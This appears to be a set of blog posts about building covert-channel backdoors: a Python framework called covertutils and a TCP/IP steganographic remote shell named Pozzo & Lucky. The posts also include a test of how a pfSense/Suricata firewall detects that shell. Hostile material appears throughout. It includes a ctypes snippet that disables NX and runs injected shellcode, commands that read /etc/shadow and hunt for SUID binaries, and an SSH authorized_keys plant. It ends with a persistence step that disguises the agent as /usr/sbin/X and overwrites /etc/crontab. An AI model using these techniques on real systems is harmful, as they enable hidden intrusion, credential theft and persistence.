Tag: networking

Reinventing the Wheel for the last time. The “covertutils” package.

A colleague reviewed my article and found it hopeless. I could definitely blame him, but he is a real rock when it comes to reporting, teaching and lecturing about security topics.

So I revised my article, according to his remarks, which mainly were: “You are describing a damn protocol – add some PICTURES goddammit!”. Enjoy…

 

The motivation

Those last months I came across several Github projects with RAT utilities, reverse shells, DNS shells, ICMP shells, anti-DLP mechanisms, covert channels and more. Researching code of other people gave me the ideas below:

Those things have to support at least an encryption scheme, some way of chunking and reassembling data, maybe compression, networking, error recovery. (To not mention working-hours operation-empire agent, certificate pinningmeterpreter and unit identification-pupyRAT).

And they all do! Their authors spent days trying to recreate the chunking for the AES Scheme, find a way to parse the Domain name from the exfiltrating DNS request, recalculate IP packet checksums and pack them back in place, etc…

And then it got me. A breeze of productivity. That crazy train of creation stopped just before my footnails. The door opened…

What about a framework that would handle all those by itself?

A framework that would be configurable enough to create everything from a TCP reverse shell, to a Pozzo & Lucky implementation.

A framework without even the most stable external dependencies, that uses only python build-ins

And all those without even thinking of encryption, message identification, channel password protections and that stuff we hate to code.

Then I started coding. Easter found me coding. Then Easter ended and I was still coding. Then I didn’t like my repo and deleted it altogether. I recreated it and did some more coding. Spent a day trying to support Python 3 and gave up after 10 hours of frustrated coding.

And finally it started working. The “covertutils” package was born. A proud python package! And here it is for your amusement:

https://github.com/operatorequals/covertutils

And here are the docs:

https://covertutils.readthedocs.io

Let’s get to it…

 

Basic Terminology of a backdoor

So let’s break down a common backdoor payload. In a backdoor we have mainly two sides. The one that is backdoored and the one that uses the backdoor.

The host that is backdoored typically runs a process that gives unauthorized access to something (typically OS shell). This process and the executable (binary or shellcode) that started it is the “Agent“.

The host that takes control of the backdoored machine typically does so using a program that interacts with the Agent in a specific way. This program is the “Handler” (from exploit/multi/handler anyone?)

Those two have to be completely compatible for the backdoor to work. Noticed how the Metasploit’s exploit/multi/handler asks for the payload that has been run to the remote host, just to know how to treat the incoming connection. Is it a reverse_tcp VNC? a stageless reverse_tcp_meterpreter?

Examining the similarities of those two (agents and handlers) helped me structure a python API, that is abstract, easy to learn, and configurable.

 

The covertutils API

All inner mechanics of the package end up in 2 major entities:

  • Handlers
    Which are abstract classes that model Backdoor Agent’s and Handler’s behavior (beaconing, silent execution, connect-back, etc).

    Attention passengers: The Handler classes are used to create both Agents and Handlers.

  • Orchestrators
    Which prepare the data that has to travel around. Encryption, chunking, steganography, are handled here.

With a proper combination of those two, a very-wide range of Backdoor Agents can be created. Everything from simple bind shells, to reverse HTTPS shells, and from ICMP shells to Pozzo & Lucky and other stego shells.

 

The data that is transferred is also modeled in three entities:

  • Messages
    Which are the exact things that an agent has to say to a handler and vice-versa.
  • Streams
    Arbitrary names, which are tags that inform the receiver for a specific meaning of the message. Think of them almost like meterpreter channels with the only difference that they are permanent.
  • Chunks
    Which are segmented data. They retain their Stream information though. When reassembled (using a Chunker instance) they return a (Stream, Message) tuple.

The Orchestrator

Orchestrators can be described as the “objects that decide about what is gonna fly through the channel“. They transform messages and streams to raw data chunks. Generally they operate like follows:

orchestrator.png

The chunks can then be decoded to the original message and stream by a compatible Orchestrator instance. They are designed to produce no duplicate output! Meaning that all bytes exported from this operation seem random to an observer (that hasn’t a compatible Orchestrator instance available). This feature is developed to avoid any kind of signature creation upon the created backdoors, when their data travel around networks…

The code that actually is needed for all this magic is the following:

>>> message = "find / -perm -4000 2>/dev/null"
>>> sorch = SimpleOrchestrator("Pa55w0rd!", streams = ['main'])
>>> chunks = sorch.readyMessage( message, 'main' )
>>> 
>>> for chunk in chunks :
...     print chunk.encode('hex')
... 
a3794050e26ad5935a1c
179083d79cad047be0a7
eb8bb3340b73ddc5eedb
af82b3a2a0f913a37a2f
3b0ddf0f365973dd4ae3
>>>

And to decode all this:

>>> sorch2 = SimpleOrchestrator("Pa55w0rd!", streams = ['main'], reverse = True)
>>> 
>>> for c in chunks :
...     stream, message = sorch2.depositChunk( c )
... 
>>> stream, message
('main', 'find / -perm -4000 2>/dev/null')
  • Note the reverse = True argument! It is used to create the compatible Orchestrator. Same objects are not compatible due to duplex OTP encryption channel.

 

The Handler

Handler‘s basic stuff is declared in an Abstract Base Class, called BaseHandler. There, 3 abstract functions are declared, to be implemented in every non-abstract subclass:

  • onMessage
  • onChunk
  • onNotRecognised

When data arrive to a Handler object, it uses the passed Orchestrator object (Handlers get initialized with an Orchestrator object) to try and translate it to a chunk. If it succeeds the onChunk(stream, message) method will be run. If the received data can’t be translated to a chunk then the onNotRecognised() will run.
Finally, and if the raw data is successfully translated, the Orchestrator will create the actual message when the last chunk of it is received. The onMessage(stream, message) method is run when a message is fully assembled.

The combined idea of a backdoor can be seen in the following image (fullscreen might be needed):

covertutilsbasicbackdoor.png

 

The Internals

How Streams are implemented

The Idea

Data needs to be tagged with a constant, for the handler to understand that it is meant to consume it. As a handler may receive data that is irrelevant, not sent from the agent, etc…

The problems in this idea are several. Bypassing them created the concept of the stream.

First of all, the constant has to be in a specific location in the data, for the handler to know where to search for it. That brings as to the second thing:

If a constant is located at a specific data offset, it defines a pattern. And a pattern can be identified. Then escalated to analysts. Then blacklisted. Then publicly reported and blocked by public anti-virus products.

So for the tagging idea to work well, we mustn’t use a constant. Yet the handler has to understand a pattern (that can’t be understood by analysts). Considering that both the Agent and Handler share a secret (for encryption), the solution is a Cycling Algorithm!

The StreamIdentifier Class

When sharing a secret, infinite secrets are shared. If the secret is pa55phra53 then we share SHA512(“pa55phra53“) too. And MD5(“pa55phra53“). And SHA512(SHA512(“pa55phra53“)). And MD5(SHA512(“pa55phra53“+”1”)). You get the idea.

So the StreamIdentifier uses this concept to create tags that are non-repetitive and non-guessable. It uses the shared secret as seed to generate a hash (the StandardCyclingAlgorithm is used by default, a homebrew, non-secure hasher) and returns the first few bytes as the tag.

When those bytes have to be recognized by a handler, the StreamIdentifier object of the handler will create the same hash, and do the comparison.

The catch is that when another data chunk has to be sent, the StreamIdentifier object will use the last created hash as seed to produce the new tag bytes. That makes the data-tag a variable value, as it is always produced from the previous tag used plus the secret.

A sequence of such tags is called a Stream.

Multiple Streams

Nothing stops the implementation from having multiple streams (in fact there is a probability pitfall, explained below…)! So instead of starting from “pa55phra53″ and generate a single sequence of, let’s say, 2 byte tags, we can start from “pa55phra531″, “pa55phra532”, “pa55phra533” … and create several such sequences (streams).

The StreamIdentifier will, not only identify that the data is consumable, but will also identify that a tag has been produced from “pa55phra531″, or “pa55phra533”. This can used to add context to the data. Say:

  • Everything produced from “pa55phra531 will be for Agent Operation Control (killswitch, mute, crypto rekeying, etc)
  • Everything produced from “pa55phra532 will be run on a OS shell
  • Everything produced from “pa55phra533 will be shellcode that has to be forked and run
  • Goes on and on…

Now the messages themselves do not need to follow a specific protocol, like:

shell:uname -a
asm:j
 X�Rh//shh/bin��̀
control:mute

they can be raw (saving bytes on the way), relying on the stream for delivering the context (when writing a RAT’y agent several features have to implemented, streams come in handy with this).

The streams are named with user-defined strings (e.g “shell”, “control”, etc) to help the developer.

 

The Pitfall

Tags have to be small. They shouldn’t eat to much of the bandwidth. They are like protocol headers in a way. Not too small to be guessable or randomly generated from a non-agent, not too big to be a small part of the raw data.

When implementing a tone of features using streams (say 8 features), using a 2-byte tag (it is the default) will create a small chance of collision. Specifically a 1/2341 chance (still more probable than finding a shiny pokemon in Pokemon Silver – 1/8192).
And to make things worse: this chance is not for the whole session, but per sent chunk (as tags are cycling for every chunk), so it is quite high!

The Solution

Well, maths got us down. For so many features, a new byte (3 byte tags) will minimize the chances tremendously. There is also an option to make the tags constant. This way the above chance counts for the whole session, making a collision quite hard.

 

Handler Types

At time of writing, there are several Handler Classes implemented. Each modelling a specific backdoor behavior.

  • BaseHandler
    This is the Base Class that exposes all abstract functions to the sub-class.
  • FunctionDictHandler
    Gets a (stream -> function) dict and for every message that arrives from stream x, the corresponding function is called with message as argument.
  • InterrogatingHandler
    This handler sends a constant message across to query for data. This is the way the classic reverse_http/s agents work. They periodically query the handler for commands, that are returned as responses. Couples with the ResponseOnlyHandler.
  • ResettableHandler
    This Handler accepts a constant value to reset all resettable components to initial state. The One Time Pad key, the stream seeds the chunker’s buffer, etc.
  • ResponseOnlyHandler
    This is the reverse of the InterrogatingHandler. It sits and waits for data. It sends data back only as responses to received data. Never Ad-Hoc.
  • StageableHandler
    This is a FunctionDictHandler that can be extended at runtime. It accepts serialized functions in special format from a dedicated stream, to add another tuple in the function-dict, extending functionality.

 

Orchestrators

The objects that handle the raw data to (stream, message) conversion are the Orchestrators.

They have some basic functionality of chunking, compression, stream tagging and encryption. They provide 2 methods, the readyMessage(message, stream) and the depositChunk(raw_data). The first one returns a list of data that are ready to be sent across (tagged, encrypted, etc), and the second one makes the Orchestrator try to consume data received and returns the (stream, message) tuple.

 

End of Part 1

The whole package includes several features that are not even mentioned in this article (Steganography, Data ManglingStegoInjector and DataTransformer classes-, etc), that while implemented, aren’t properly documented yet, so their internals may change.

They will be the subject of another post, along with a Pozzo & Lucky implementation using only coverutils and Raw Sockets.

 

I the mean time, there are some Example Programs for you to play around!

Feedback is always appreciated…

 

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Pozzo & Lucky Busted. The Tales of a Mathematician / SOC analyst… (Part-3)

Before we even begin:

pip install entropy     # contains a C implementation of the 
                        # Shannon Entropy algorithm for byte strings
pip install fitter      # Compares datasets with known distributions
pip install pandas      # and returns similarity ratios (fitter requirement)

pip install matplotlib  # Makes python laugh in Matlab's face...

 

Ready,

"Requirement already satisfied (use --upgrade to upgrade): [...]"(2016, pip)

Windows 7 Ultimate 64 bit VM installed. Firewall is Down –I repeatFirewall is Down.

Get Set,

This Article/Post is the last of a series about steganography in IP/TCP headers and a Remote Code Execution tool that uses this technique. It will demonstrate ways of busting traffic created from this tool and maybe other similarly functioning tools. The whole background story can (and should) be read at:

Go…

 

The entropy discussion

The whole concept with randomness in Pozzo & Lucky was to trick Security Devices on thinking that the “dirty” packets were OS (or nmap) created packets and ultimately to avoid any kind of cryptanalysis. But this didn’t work so well (at least for all used TCP/IP fields).

The Good News

The good news is that the IP identification field is effectively random in OS SYN packets.

Specifically my scripts got me something like this:

Entropy for /dev/random is 0.836880 for 152 bytes
Entropy for Pozzo packets ID field is 0.836477 for 152 bytes
Entropy for Lucky packets ID field is 0.849231 for 152 bytes


Entropy for /dev/random is 0.922406 for 304 bytes
Entropy for Pozzo packets SEQ field is 0.919504 for 304 bytes
Entropy for Lucky packets SEQ field is 0.906196 for 304 bytes

for the Pozzo & Lucky command:

head /etc/shadow

To get root user’s password hash and 9 more lines. The entropy is pretty damn high for a data transfer, which means that the Rotating Encryption Scheme (explained in part-2) is working flawlessly!

The -not so- Good News

But what about a real nmap on a Windows machine (most common case)?

nmap 192.168.56.101

got us this…

Entropy for /dev/random is 0.987001 for 1982 bytes
Entropy for SYN packets ID field is 0.989606 for 2150 bytes
Entropy for RST packets ID field is 0.755026 for 1982 bytes


Entropy for /dev/random is 0.994242 for 3964 bytes
Entropy for SYN packets SEQ field is 0.272816 for 4300 bytes
Entropy for RST packets SEQ field is 0.000000 for 3964 bytes

That’s a ZERO there. Those damn RSTs always have a Sequence Number of a literal 0 in port scans. Specifically (RFC 793, page 65):

    If the state is CLOSED [...] then
      [...]  The acknowledgment and sequence field values are selected
      to make the reset sequence acceptable to the TCP that sent
      the offending segment.

      If the ACK bit is off, sequence number zero is used,   # This is a 
        <SEQ=0><ACK=SEG.SEQ+SEG.LEN><CTL=RST,ACK>            # port scan reply

      If the ACK bit is on,
        <SEQ=SEG.ACK><CTL=RST>

This sent me flying. I don’t know how I ignored it the first time I read the RFC Bible. The impact of this is simply: No Stego in Sequence Field of packets sent from the Lucky side. And that means responses will have a bandwidth of 1 byte (+1 for the opcode) coming from the IP Identification Field – not feasible.

Blind Remote Code Execution should still work as intended though

Generally the SYN packets from Pozzo seem to blend in well with the OS packets, as the OS is using randomness in the ID field. (The nmap command -without flags- doesn’t use spoofed packets, it uses the connect() System Call from the OS API. That’s why it doesn’t need root too).

A histogram equals a thousand words after all:

figure_1
Remember, the Possible values are 0-65535(2^16)

The RST packets though do not blend so very well…

 

This slideshow requires JavaScript.

And that’s because the OSes use Sequential IDs as responses to port scans instead of random values. The Lucky RSTs have really small bins all over the histograms while the OS RSTs are all interpreted as single high bins (as their values are very close).

And let’s conclude the IP Identification field analysis with some notes. In the RFC that updates (almost redefines the ID field – RFC 6864) there is a concern about Covert Channels (Security Considerations, p16) and also the idea for middle devices (routers, firewalls) to rewrite the ID field of passing packets to improve untrackability and prevent OS fingerprinting (keep this in mind for a while). Generally this RFC is the big “Ooops!!!” on the single line definition of the ID field back in IP protocol’s first definition (RFC 791).

 

The Sequence Field in TCP

Here we are really losing the battle…

Let’s look at the histograms of the SYN packet ISN values :
(max value 2^32 = 4.294.967.296 ~ 4,294 * 10^-9)

RST_SEQ_Windows.png

It is clear that nmap is failing us… It uses the same Sequence Number to knock all ports… And that is weird too. Because the “nmap -sS” is a root process and could lazily craft the same packet all over (without changing the ISN, only the Destination Port), but why the OS powered nmap? Isn’t the OS stack responsible for changing the ISN value?

A closer look at the Source Port:SYN_SPORT_Linux.png

So nmap uses the same Source Port to knock all target ports, that’s why it uses the same ISN all over. So Pozzo & Lucky can’t resemble nmap. It’s final

But what about the netcat? Leaving Pozzo & Lucky alone with netcat in a histogram shows this:SYN_SEQ_netcat.png

And yes, netcat uses multiple Source Ports, as well.SYN_SPORT_netcat.png

Here you can see that Pozzo & Lucky, uses only a range of high ports (The OTP Scheme is responsible for that), while netcat is a lot more random. While this is a recognizable pattern for sure, I don’t believe that it is a Covert Channel evidence.

 

Those RSTs…

rst_seq_linux
The Pozzo & Lucky RSTs are so scattered that can’t be seen.

This is clearly the TCP protocol violation mentioned earlier. The RSTs Sequence Number is always ZERO unless Pozzo & Lucky hacked you. This can’t be hidden. This flawed us. At least NextGen Firewalls should catch this… – or #not.

 

There is more!

Protocol field values and violations aren’t the only deviations from port scans or normal protocol usage. And while other aspects can’t be proofs of Covert Channeling they can reveal patterns and indications that will need extra analysis. And extra analysis will eventually mean “let’s look at that box a little bit, what was its hostname again?“, and then it’s Game Over. Lucky is a process, a memory dump (even if hidden correctly) will reveal it.

 

And its Time, time, time…

The timeframes between packets from the same source always reveal patterns too. Masscan, zmap, nmap and netcat are all port scanners. But they are really different in this aspect.

This is a great histogram:RST_TIME_Linux.png

Pretty self explanatory! Netcat is slower. Maybe because it switches Source Ports all the time! But what about Pozzo & Lucky?

Pozzo & Lucky by design has a lot of overhead before sending and after receiving a packet. It calculates 4 SHA512 hashes for every packet, XORs and deChunks while making dictionary lookups for the Opcodes… If netcat needs an average 0.0005 sec between packets, Pozzo & Lucky needs 0.1-0.2 sec. That’s several orders of magnitude higher.

 

 

Hands on now! What About Firewalls?

Let’s now actually check the traces! Talked too much, did too little. I hate that. Let’s get our hands dirty! Let’s establish a very sneaky backdoor using Pozzo & Lucky.

The Test Setup

The Actors

I got 2 lil’ machines. Two Ubuntu 12.04.5 32-bit VMs, not fully upgraded (who has time for upgrades), that are gonna run the experiment. One will be Pozzo and the other will be Lucky. They will be at the 2 sides of a VM Firewall.

The Cop

Who else? pfSense with Suricata plugin (IDS/IPS) will be the testbench. Suricata will have all free rules enabled in full log mode. We are gonna see everything! Snort’s registered user rules won’t be absent too!

 The (Test) Case

Pozzo host will generate an SSH key pair, will use Pozzo & Lucky to send the public key to the other side (maybe in /root/.ssh/authorized_keys) and login to Lucky Host as root interactively.

The Outcome…

Suricata and pfSense logs for both interfaces.

What you will see:

At first I turn on the syslog listener and pipe it to a file (syslog.log). Then I watch the file for changes (the sed and grep panic is just used for formatting).

I then show that a spoofed scapy RST packet raises 2 alerts, 1 from Suricata IDS and 1 from the Firewall itself. I do this to demonstrate that the logging is working as expected.

Then I start Lucky and Pozzo (the order doesn’t matter). I create the .ssh/ directory at  /root/ and append my SSH Public key in the authorized_keys file. After that I log in with SSH but unfortunately the program crashed and you can’t see that.

What you saw:
 (Left+Up-Pozzo, Left+Down-scapy, Right+Up-Lucky, Right+Center-Syslogs from pfSense, Right+Down-netcat syslog listener)

As you can see there are NO LOGS. Low rate port scans DO NOT GET LOGGED without special Firewall rules. And even getting port scan logs is useless. TCP anomaly logs (from Suricata’s encoder.alerts) could be better. None saw the Remote Command Execution we had to that Right Box… Round 1 belongs to Pozzo & Lucky!

 

The Plot Twist…

pfSense can dodge Pozzo & Lucky shell in 2-3 mouse clicks, without even knowing it…

I was always wondering who the hell has actually read the protocol RFCs. Well I got my answer today! Firewall developers read them. And read them good!

In this video pfSense totally KO’s the Stego between the 2 hosts by altering the random bits in the header by itself. This is not a new idea either!
Here goes (RFC 6864, p16 – also referenced elsewhere):

[...] (IP Identification) field can more easily be used as a covert channel.
For some atomic datagrams it is now possible, and may be desirable,
to rewrite the IPv4 ID field to avoid its use as such a channel.

And pfSense got the second round…

Is there a third round?

No, there isn’t. Both opponent aren’t ready for this… pfSense lacks protocol sanitizers as it seems (ignoring a TCP violation is a good reason to think of this), while Pozzo & Lucky isn’t smart enough to work when its bandwidth is trimmed. It just jams, losing you the root shell you painfully earned.
Maybe someday…

 

 

Final thoughts on the project

A crazy ride in TCP/IP Protocols and their implementations!

Learned about the Linux Weak Host Network Stack (RFC1122, p63), the Kernel Stack Override issue (“which packet leaves first, kernel’s or scapy’s?“) and other similar frustrating network issues…
I learned all of them the hard way and “lost” hours on trying to work around them. Made me better. And older…

 

Da Code…

When the tool becomes stable enough I will upload most of it to my github page. I will omit the parts of Command Execution while keeping the data transfer methods intact. Anyone familiar with Python can put back the Command Execution features, but I don’t want to distribute them personally. People sometimes get irresponsible if there are no logs of their actions.
I will also upload the analysis scripts I created for this Article. All histograms were created with a single button push and I find that valuable enough to share! They need a bit more polishing and they’ll be ready!

Edit 19/1/18: The code is finally available as a covertutils backdoor here. Fully documented explaining all implementation details.

Edit 15/7/17: I didn’t manage to tidy the code up to the point to not be ashamed of it so I didn’t upload it. Instead I am currently developing a whole new framework, that models all kinds of shells, and let’s a security tool developer to create his/her own Post-Exploitation tool. This framework is public at time of writing, and it can be found in this post (repo included). An (lot cleaner) implementation of Pozzo & Lucky will emerge from this eventually. I apologize for the false-promise.

 

Next Project…

Maybe the world lacks a fully customizable Network Intrusion Detection System (IDS)… Or I will stop coding to actually sit for the SPSE course. Coding doesn’t leave enough time to code sometimes! Strange but true…

 

 

Pozzo & Lucky, The phantom Shell. Stego in TCP/IP (part-2)

Some Steganography Theory Basics

In the last post (Teaching an Old Dog (not that new) Tricks), there has been some fuzz about steganography. So before we continue to part-2 let’s have a little talk about what really goes on with stego.

Stego has 2 categories:

  • We can write steganographically a Shakespeare play in an image with a number of zebras and be sure none will notice, because searching the LSB of every byte of every pixel is no sane action for anyone viewing an image. But this doesn’t mean that if you look there you won’t find the play. This type of stego is the “Hidden in plain site” stego. The whole part-1, where we pass plain data around by encapsulating it in TCP/IP headers, falls under this category.
  • The second category (the one that the above Tanenbaum example really falls under) is a lot better. It uses encryption to make sure that even if you turn the image inside-out you won’t see a trace of the Shakespeare play without knowing a certain secret (key?).

The other meaningful clarification is why it is superb to use Stego over Encryption, given that none really can read you in both techniques. The difference lies on that if you use encryption, while none can understand what you are saying (beside the authorized listener), everyone can tell that you and the listener have a communication channel, and also that you might be talking about something confidential (that has to be the reason why you are using encryption). If you use stego none can see the communication channel. So you aren’t publicly announcing that you are communicating. A communication channel that none can imagine is a covert channel.

The bad news is that stego most of the time leaves traces. And some times very self-explanatory ones. For example, LSB stego in images creates a high number of color variations that easily can be almost a proof of steganography usage. Or, in my TCP/IP stego in part-1, pushing ASCII bytes only in random fields significantly lowers the entropy of the field data, showing a communication channel possibility, or even the communication itself, to a forensics performer. And uncovering the covert channel of a Stego just downgrades it to plain Encryption.

 

And now for something completely different!

Pozzo & Lucky

Pozzo & Lucky are 2 key characters in “Waiting for Godot“. This is a Samuel Becket play, maybe the most known Samuel Becket play, and my favorite one. You can read all of it here: Act-1, Act-2 (there are just 2 acts).

Lucky is a servant with no beliefs, opinions or even thoughts of his own. He blindly obeys Pozzo, who is dragging him all over with a dog collar. He dances or even thinks whenever Pozzo commands.

In the play we have no idea why Lucky is so pathetic and lets Pozzo do all kind of nasty stuff to him. There must be a covert channel between them…

But, beside character names of an irrelevant play, Pozzo & Lucky is one personal project. A project that started with a bet. “Can there exist a Remote Command Execution shell that no network device can detect and leaves no network trace?“. I bet it can…

Well, I won my bet. This shell exists and is named Pozzo & Lucky

 

The Idea

The idea is almost close to the part-1 idea, except as hardcore as it gets. We are passing commands through IP identification and TCP sequence (ISN) fields. But, this time, we do it right…

The Pozzo & Lucky shell consists of 2 components. Lucky, which has to be installed (actually just run) on the target machine and Pozzo which is used to control the target machine after Lucky is installed in it.

The Features

  • Complete OS command execution (with and without output)
  • Remote on-the-fly Shellcode Execution (paste and BOOM)
  • File Upload/Download
  • Complete immunity to .pcap file analysis, Firewall log analysis and generally analysis without OS forensics from the target machine
  • Capability to simulate an nmap -sS port scan or any kind of SYN scan, or SYN flood to specific (or given) Destination Port(s)
  • Works (or has to work) on Windows and Linux.
  • Creates no connections. Every single packet in the same “conversation” can be send from different Source IP and to different Destination Port.

Some Drawbacks

  • Painfully slow! (Bandwidth is 5 bytes/packet, so be patient)
  • As a process it has no capabilities to hide itself or get persistent. It has to be paired with a rootkit for that.
  • Proxies kill it (while they don’t detect it). It has to work through port-forwards though.
  • Has dependencies… Scapy on Linux and Scapy with Winpcap on Windows. Both may be mitigated with a PyInstallerpy2exenuitka session (except maybe the damn .dll).

 Requirements

  • Needs root/admin privileges to get installed on the target machine (due to packet crafting and sniffing needs).
  • Needs Pozzo to be in the same subnet with Lucky (this could be the whole Internet – 2 hosts with public IPs), or at least Pozzo to have a direct TCP port route to Lucky (Lucky behind a Firewall with portforwarded just TCP port 21, would work if Pozzo sends packets to <Firewall_IP>:21.
  • Pozzo shouldn’t be behind a NAT. That is because the Source Port of the outgoing Pozzo packets is meaningful to Lucky, and NAT changes this field (as it translates it to another Source Port before forwarding with the Gateway’s IP).

 

The Concept

The target machine runs Lucky, which is basically a packet sniffer. It gets all packets arriving to the machine, and decides which of them are created by the computer running Pozzo using an algorithm described in the section “Problem Solving“.

The crucial part is that those packets do not establish connections in the target (neither TCP nor “UDP”). They are TCP SYN packets that do not abuse the TCP protocol in any way, so they pass through protocol sanity checks (performed by security devices and packet inspectors). They also are useful packets, that cannot be generally blocked in a network (unlike ICMP), as this action will render the network useless (no connections will be allowed in a network that blocks SYN packets, so no SQL, web applications, FTP, etc – you get my point…).

The fishy things with those “Pozzo packets” is that they deliver 6 bytes of data through IP identification field and TCP Sequense Number field (2 bytes + 4 bytes), in a strongly encrypted form. When Lucky encounters such a packet it extracts the 6-byte payload, splits it in a 1+5 byte form, where the first byte is an Opcode for the command to run with the next 5 bytes.

It then generates a RST-ACK packet, that doesn’t violate the TCP protocol too, and injects (encrypted as well) the response of the command executed on the target, sending it back to Pozzo.

That SYN-RST ping-pong resembles a Port Scan a lot more than a Remote Command Execution, so it doesn’t get blocked by IDS/IPS, as there are no signatures due to encryption (and they rarely look at layer 3-4 headers). A really well configured firewall device, with a configuration aware of each host usage (this is an SSH Server – allow just 22) may mitigate Pozzo & Lucky, but I haven’t seen a lot of them!

 

Problem Solving

Some problems have risen from part-1. Here I explain how I tackled them.

Surpassing the entropy problem

The problem with entropy is that when we could use any of the 256 bytes in every byte place in a random field, we just use a byte from the printable ASCII list, while generally excluding the Upper Case letters and numbers. This made the random fields contain very predictable data, thous lowering the data entropy.

The solution to this is Encryption. But we need a cipher with 6 byte blocks, or a stream cipher. And most of all, we need to do it with style… So I managed a custom One Time Pad  Scheme based on plain XOR and SHA512. A simple one, that doesn’t lack style at all!

The OTP Scheme

You get a passphrase, SHA512 it and get a key. With this key we XOR data, 6 bytes of data. The XORed data is securely encrypted as the key is a one-way function of the passphrase, which is our secret. To encrypt the next 6-byte chunk, we SHA512 the current key and reXOR. This way we never XOR with the same key, which eliminates the possibility of “cryptanalysis” using the known-plaintext technique. We also eliminate the possibility of prediction of the next keys, as even if we encrypt all the time the same 6 bytes (say “ls -la”), the key portion that can be retrieved each time is 6 bytes. With 6 bytes we lack enough information to produce the next key, as a whole key is of 512bits (64 bytes) long.

Plus, this way, by having the possibility to XOR with any possible byte (SHA512 returns a byte sequence containing all kinds of bytes) we get encrypted bytes in the whole 256 byte-range. And with even possibility each one… This means Entropy close to 1. This means data seemingly random.

 

Surpassing the Identity Problem

Who is your master?“. An RCE shell has to know how to answer this question. You can run commands remotely, that’s a good thing, but you MUST be the only one that can do that. The shell must identify your packets from packets of others. And to enclose an IP check in the shell agent program you have to hardcode your IP or a domain in it. You got caught just by thinking of it, unless you use techniques used in Exploit-Kits, like rapidly changing sub-domain names, and other things that lack style, and get caught and analyzed eventually!

Last time (part-1, if you haven’t read it by now, do me a favor…) we forgot about a field we can control in TCP and none cares in a port scan. The Source Port. “OK, you will think, let the packet come from port xxxx and then this is a packet to decrypt and execute“. Well, yes, but it lacks style too. So here goes:

Solving the “Who is your master?” problem

The thought of Source Port checking is correct up to a certain point. There is just a big catch. It is implemented as easily as it is observed by an analyst. If you get a .pcap file, with all kinds of Destination Ports and one Source Port (even with multiple Source IPs) you might suspect something.

  • Why a port scanner need to allocate port 23456 in multiple systems?
  • Is it hardcoded to do so?
  • Do you know any such port scanner?
  • Is it a common behavior?
  • Googling port 23456 returns nothing.

So there is something fishy going on.

In Pozzo & Lucky, we check the Source Port of the packets, but we don’t expect it to be the same all the time. There is a cycling algorithm for that too, just like the OTP Scheme above (it actually uses it).

A Source Port field contains 2 bytes. So 4 hex digits. We initialize the first (Most Significant) digit depending on a given passphrase (it has to be more that 8 – to always get high ports). Then we SHA512 the passphrase and get the first 3 hex digits of the hash. Concatenating them with the initial hex digit gives as 4 hex digits, or 2 bytes. Then we cycle the hash, by rehashing it and generate the next port.

This technique gives us different port numbers, in a totally unpredictable sequence for someone that doesn’t have the passphrase. Only the agent-program (Lucky) and the client (Pozzo) know the next correct port to communicate and the possibility of a stray packet with the correct Source Port is 1/65536, so quite slim.

 

Surpassing Inconsistent States (or the Dog Collar)

While slim, the possibility of the agent-program to receive a Correct Source Port stray packet (not created by the client-shell) is existent. If this happens, the agent is going to cycle to the next source port, cycle the encryption key, try to decrypt a packet that contains no stego and get gibberish that is gonna try to execute. A total out-of-control mess.

And it is out-of-control as the client knows nothing about the key cycles happened and will continue to encrypt with keys no longer recognized by the agent and send from a Source Port that the agent no longer hears from.

That means that we lost it. We lost RCE to the pwned machine. We have to re-exploit it and use another post-exploitation tool… But, remember, Pozzo was holding Lucky by a Dog Collar. He was able to reclaim him anytime.

The Dog Collar Implementation

There is of course a safety mechanism to prevent such tragedies. In the OTP Scheme a special Control Key is stored that does not get cycled. There is also a Control Source Port that the agent always accepts packets from and decrypts them with the Control Key. If such a packet contains a special RST payload then the OTP key and the Source Port cycling mechanism both reset.

That means that the whole communication can start from the beginning if jammed, without leaving any unencrypted trace.

 

A Long Payload is Longer than 5 bytes

There are commands like “find / -name ‘flag’ 2 > /dev/null” that exceed the 5 byte limit (+1 byte the opcode) of a single packet. Those commands should be chunked and delivered in multiple packets. And Lucky has to understand that the “find ” (notice the space – 1 byte!) isn’t the whole command and it has to wait for next packets to arrive.

There is also the case of “head -1 /etc/shadow” (to get just the hash of the root password). This command produces an output that reaches and exceeds 100 bytes. And they have to get delivered back to Pozzo. All of them. And Pozzo has to know when to wait for more output, and when the whole payload is delivered. Also Lucky never sends packets that aren’t responses to packets (remember only RST-ACKs).

The Protocol within a Protocol

If you can use Opcodes, then you can be stateful, and that means that you can know when to wait for more. There are Opcodes that declare that “more is coming, don’t execute just yet“. Opcodes that declare “this data is part of a command“, and Opcodes that declare “this data is the last of command. Execute it now“. It resembles the TCP chunking algorithm just without using data offsets. Ain’t no time and bandwidth for data offsets anyway! The OTP scheme ensures that if a packet is lost no later packet can be decrypted, so no partially executions are possible, and inconsistent states do get resolved.

What about Lucky’s long responses?

Lucky never sends a packet that is not a Response… That means that it has to inform Pozzo that he needs to talk. Then Pozzo starts sending random data (with a “talk” Opcode), only to accept meaningful responses. Lucky also declares when there is nothing left to say. And “the rest is silence” (till the next command).

 

Shellcode execution kills Lucky

When shellcode is delivered, in Linux is executed with the above ctypes snippet:

    libc = CDLL('libc.so.6')              # Loads libc
    sc = c_char_p(shellcode)              # creates a C string with shellcode
    size = len(shellcode)                 # gets shellcode's length (used later)
    addr = c_void_p(libc.valloc(size))    # allocates bytes of heap memory equal to the shellcode length.
    memmove(addr, sc, size)               # copies shellcode from stack variable(pointer) sc to heap memory that was just allocated
    libc.mprotect(addr, size, 0x7)        # disables NX protection of data memory
    run = cast(addr, CFUNCTYPE(c_void_p)) # casts the pointer to shellcode in heap to a function pointer
    run()                                 # jumps shellcode function pointer - runs the shellcode

Which copies it into heap memory, unlocks the NX protection for this memory chunk and jumps to it. So Lucky stops executing as EIP now points to the shellcode. No return is possible. Lucky will terminate whenever the shellcode terminates…

Just Fork It!

    p = Process(target=run)     # run the shellcode as independent process
    p.start()

instead of plain:

    run()

Took me a good to half hour of screen-staring…

In Windows the CreateThread() works as intended. That was a blessing as EIP can’t be tracked in Windows. None is really sure were EIP is in any given time. Not even its developers.

 

 It’s Show Time!

The Test

Start Lucky

# ./lucky.py mypassphrase

And Lucky starts happily. Uses the passphrase to create the OTPs and waits patiently…

Connect Pozzo

# ./pozzo.py target_ip mypassphrase

 

A real Infection

cp lucky.py /usr/sbin/X
printf "@reboot /usr/sbin/X --rootless -noreset\n" > /etc/crontab

